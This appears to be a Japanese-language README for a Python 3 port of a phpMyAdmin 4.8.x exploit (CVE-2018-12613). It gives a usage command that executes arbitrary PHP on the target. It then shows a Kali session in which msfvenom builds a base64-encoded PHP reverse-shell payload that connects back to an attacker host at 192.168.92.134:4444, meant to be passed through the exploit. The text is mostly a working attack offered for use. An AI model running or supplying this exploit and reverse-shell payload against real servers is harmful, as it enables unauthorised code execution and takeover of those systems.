CVE-2018-12613

Python 3に移植した修正版スタンドアロンエクスプロイト。Python 3.7.3、phpMyAdmin 4.8.1（Ubuntu 16.04上）で動作確認済み。 Linuxでのみ動作します。元のエクスプロイトはSSDによるものです。すべてのクレジットは彼らに帰属します。

変更点

1. 指定されたphpMyAdminのユーザー名/パスワードが正しい場合に終了する関数を追加
2. バージョンが脆弱かどうか（4.8.0または4.8.1）をチェックする関数を追加
3. 変数をバイト型または文字列型に厳密に変換; Python 3では混在を許可しない。こちらを参照。

使用方法:

python3 CVE-2018-12613.py -u phpMyAdmin -p password -U http:///[url-phpMyAdmin] –P ”phpcredits();”

PHPコードの実行結果はresults.htmlに保存されます。

リバースシェルの場合

root@Kali:~/Ruby No MSF/phpmyadmin4.8.1# msfvenom --platform php -a php -e php/base64 -p php/reverse_php LHOST=192.168.92.134 LPORT=4444 -o payload.php
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 4045 (iteration=0)
php/base64 chosen with final size 4045
Payload size: 4045 bytes
Saved as: payload.php

上記のmsfvenomで生成したPHPペイロードをphpcredits();の代わりに使用します。

root@Kali:~/Ruby No MSF/phpmyadmin4.8.1# cat payload.php

eval(base64_decode(ICAg...gfQo));